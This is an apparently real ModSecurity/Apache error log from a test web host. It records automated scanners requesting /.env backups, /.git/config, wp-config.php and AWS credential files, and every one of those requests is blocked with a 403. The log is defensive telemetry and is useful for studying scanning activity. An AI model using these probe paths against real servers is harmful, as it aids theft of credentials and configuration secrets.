[Thu Mar 12 05:03:03.124482 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abI69xcJO_GkBG2S-umkVAAAAAE"]
[Thu Mar 12 05:03:03.124664 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abI69xcJO_GkBG2S-umkVAAAAAE"]
[Thu Mar 12 05:03:03.124819 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abI69xcJO_GkBG2S-umkVAAAAAE"]
[Thu Mar 12 06:45:46.918784 2026] [:error] [pid 2641120] [client 204.76.203.25:59226] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abJTChcJO_GkBG2S-umkXQAAAAE"]
[Thu Mar 12 06:45:46.918994 2026] [:error] [pid 2641120] [client 204.76.203.25:59226] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abJTChcJO_GkBG2S-umkXQAAAAE"]
[Thu Mar 12 06:45:46.919130 2026] [:error] [pid 2641120] [client 204.76.203.25:59226] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abJTChcJO_GkBG2S-umkXQAAAAE"]
[Thu Mar 12 08:56:26.595205 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abJxqrcAOmwjG4kpIu2SxAAAAAY"]
[Thu Mar 12 08:56:26.595371 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abJxqrcAOmwjG4kpIu2SxAAAAAY"]
[Thu Mar 12 08:56:26.595509 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abJxqrcAOmwjG4kpIu2SxAAAAAY"]
[Thu Mar 12 08:56:26.617057 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abJxqrcAOmwjG4kpIu2SxQAAAAY"]
[Thu Mar 12 08:56:26.617175 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abJxqrcAOmwjG4kpIu2SxQAAAAY"]
[Thu Mar 12 08:56:26.617326 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abJxqrcAOmwjG4kpIu2SxQAAAAY"]
[Thu Mar 12 08:56:26.617472 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abJxqrcAOmwjG4kpIu2SxQAAAAY"]
[Thu Mar 12 08:56:26.639785 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abJxqrcAOmwjG4kpIu2SxgAAAAY"]
[Thu Mar 12 08:56:26.639969 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abJxqrcAOmwjG4kpIu2SxgAAAAY"]
[Thu Mar 12 08:56:26.640111 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abJxqrcAOmwjG4kpIu2SxgAAAAY"]
[Thu Mar 12 08:56:26.661362 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abJxqrcAOmwjG4kpIu2SxwAAAAY"]
[Thu Mar 12 08:56:26.661480 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abJxqrcAOmwjG4kpIu2SxwAAAAY"]
[Thu Mar 12 08:56:26.661632 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abJxqrcAOmwjG4kpIu2SxwAAAAY"]
[Thu Mar 12 08:56:26.661778 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abJxqrcAOmwjG4kpIu2SxwAAAAY"]
[Thu Mar 12 08:56:26.700607 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abJxqrcAOmwjG4kpIu2SyAAAAAY"]
[Thu Mar 12 08:56:26.700789 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abJxqrcAOmwjG4kpIu2SyAAAAAY"]
[Thu Mar 12 08:56:26.700937 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abJxqrcAOmwjG4kpIu2SyAAAAAY"]
[Thu Mar 12 08:56:26.722030 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abJxqrcAOmwjG4kpIu2SyQAAAAY"]
[Thu Mar 12 08:56:26.722184 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abJxqrcAOmwjG4kpIu2SyQAAAAY"]
[Thu Mar 12 08:56:26.722327 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abJxqrcAOmwjG4kpIu2SyQAAAAY"]
[Thu Mar 12 08:56:26.746831 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abJxqrcAOmwjG4kpIu2SygAAAAY"]
[Thu Mar 12 08:56:26.746993 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abJxqrcAOmwjG4kpIu2SygAAAAY"]
[Thu Mar 12 08:56:26.747135 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abJxqrcAOmwjG4kpIu2SygAAAAY"]
[Thu Mar 12 08:56:26.804353 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abJxqrcAOmwjG4kpIu2SywAAAAY"]
[Thu Mar 12 08:56:26.804520 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abJxqrcAOmwjG4kpIu2SywAAAAY"]
[Thu Mar 12 08:56:26.804668 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abJxqrcAOmwjG4kpIu2SywAAAAY"]
[Thu Mar 12 08:56:27.036142 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abJxq7cAOmwjG4kpIu2S1QAAAAY"]
[Thu Mar 12 08:56:27.036301 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abJxq7cAOmwjG4kpIu2S1QAAAAY"]
[Thu Mar 12 08:56:27.036444 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abJxq7cAOmwjG4kpIu2S1QAAAAY"]
[Thu Mar 12 08:56:27.060088 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abJxq7cAOmwjG4kpIu2S1gAAAAY"]
[Thu Mar 12 08:56:27.060254 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abJxq7cAOmwjG4kpIu2S1gAAAAY"]
[Thu Mar 12 08:56:27.060408 2026] [:error] [pid 2643337] [client 45.148.10.231:51188] [client 45.148.10.231] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abJxq7cAOmwjG4kpIu2S1gAAAAY"]
